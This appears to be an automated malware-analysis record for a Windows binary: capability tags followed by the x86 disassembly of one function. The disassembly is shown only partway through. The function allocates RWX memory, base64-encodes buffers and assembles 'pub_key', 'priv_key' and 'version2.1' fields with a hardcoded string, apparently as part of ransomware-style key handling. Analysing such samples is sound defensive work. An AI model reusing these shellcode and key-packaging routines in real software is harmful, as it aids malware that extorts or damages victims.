Function at 0x405750
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c4
push ebx
push esi
push edi
push ecx
push 1
push ecx
push 1
sub esp, 0xc
mov dword [esp + 0x28], ecx
mov ebx, edx
mov dword [esp + 0x3c], ebx
push 1
push ecx
push 1
push ecx
push 1
push ecx
push 1
push ecx
push 1
sub esp, 0xc
push 1
push ecx
push 1
lea ecx, [esp + 0x98]
call fcn.004039b0
lea ecx, [esp + 0x40]
call fcn.00406d90
lea ecx, [esp + 0x40]
call fcn.00406ba0
mov esi, dword [ebp + 0xc]
mov edi, eax
add esi, ebx
push 0x40
push 0x3000
lea ebx, [esi + 8]
lea ebx, [edi + ebx*8]
shl ebx, 3
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x1c], eax
lea ecx, [edi + esi*4]
lea ecx, [ecx*8 + 0x30]
test eax, eax
je 0x4057f1
cmp ecx, ebx
jae 0x4057f1
lea edi, [ecx + eax]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edi
mov edx, ecx
jmp 0x4057f7
mov dword [esp + 0x18], edx
mov edi, eax
cmp dword [esp + 0x2c], 0
mov eax, dword [ebp + 0xc]
lea eax, [eax*8 + 2]
je 0x40581f
lea esi, [edx + eax]
cmp esi, ebx
jae 0x40581f
mov ecx, edi
mov dword [esp + 0x28], edi
add edi, eax
mov edx, esi
mov dword [esp + 0x1c], edi
jmp 0x405825
xor ecx, ecx
mov dword [esp + 0x28], ecx
cmp dword [esp + 0x2c], 0
mov esi, dword [esp + 0x20]
je 0x40583d
lea eax, [esi*8 + 2]
add eax, edx
cmp eax, ebx
jb 0x405843
xor edi, edi
mov dword [esp + 0x1c], edi
test ecx, ecx
je 0x405c14
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
lea eax, [edx + edx]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push ecx
push 0x40000001
push edx
push dword [ebp + 8]
call ebx
lea eax, [esi + esi]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push edi
push 0x40000001
push esi
push dword [esp + 0x1c]
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
call ebx
push dword [esp + 0x28]
mov esi, eax
call ebx
push 0x40
add eax, 0x42
push 0x3000
add esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [esp + 0x28]
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
call ebx
mov ecx, dword [esp + 0x20]
inc eax
test ecx, ecx
je 0x4058df
cmp eax, esi
jae 0x4058df
lea edx, [ecx + eax]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
jmp 0x4058e7
mov dword [esp + 0x14], 0
push edi
call ebx
inc eax
cmp dword [esp + 0x20], 0
je 0x4058fa
add eax, dword [esp + 0xc]
cmp eax, esi
jb 0x405902
mov dword [esp + 0x10], 0
push dword [esp + 0x28]
xor esi, esi
call ebx
test eax, eax
je 0x405942
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x28]
mov dword [esp + 0xc], ecx
lea ebx, [ebx]
mov al, byte [esi + edi]
cmp al, 0xa
je 0x405932
cmp al, 0xd
je 0x405932
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0x405920
mov edi, dword [esp + 0x1c]
push edi
xor esi, esi
call ebx
test eax, eax
je 0x405971
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
mov al, byte [esi + edi]
cmp al, 0xa
je 0x405965
cmp al, 0xd
je 0x405965
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0x405953
mov edi, dword [esp + 0x18]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.actioncall
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
call esi
lea ecx, [esp + 0x40]
lea edi, [edi + eax*2]
push edi
call fcn.004069a0
push str.pub_key
push edi
call ebx
push edi
call esi
push dword [esp + 0x14]
lea esi, [edi + eax*2]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0xffffffffffffffff
push dword [esp + 0x20]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.priv_key
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push dword [esp + 0x10]
lea esi, [edi + eax*2]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0xffffffffffffffff
push dword [esp + 0x1c]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.version2.1
push edi
call ebx
push dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
push 0x40
shl esi, 4
push 0x3000
add esi, 0x12
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [esp + 0x18]
mov ebx, eax
mov dword [esp + 0x20], ebx
call edi
lea eax, [eax*8 + 2]
test ebx, ebx
je 0x405a44
cmp eax, esi
jae 0x405a44
mov dword [esp + 0xc], ebx
jmp 0x405a4a
xor eax, eax
mov dword [esp + 0xc], eax
push dword [esp + 0x18]
call edi
mov ecx, dword [0x410130]
mov edi, eax
movq xmm0, qword [str.aeriedjDshasj]
lea eax, [esp + 0xd1]
mov dword [esp + 0x38], ecx
mov cx, word [0x410134]
push 0xff
mov word [esp + 0x40], cx
mov cl, byte [0x410136]
push 0
push eax
movq qword [esp + 0x3c], xmm0
mov byte [esp + 0x4a], cl
mov byte [esp + 0xdc], 0
call fcn.00408b30
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x3c]
add esp, 0xc
push eax
call ebx
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0xd4]
call fcn.00405c40
mov edx, dword [esp + 0x1c]
lea esi, [edi + edi]
add esp, 4
lea ecx, [esp + 0xd0]
push esi
call fcn.00405cf0
add esp, 4
lea eax, [edi*8]
mov edi, dword [esp + 0xc]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push edi
push 0x40000001
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]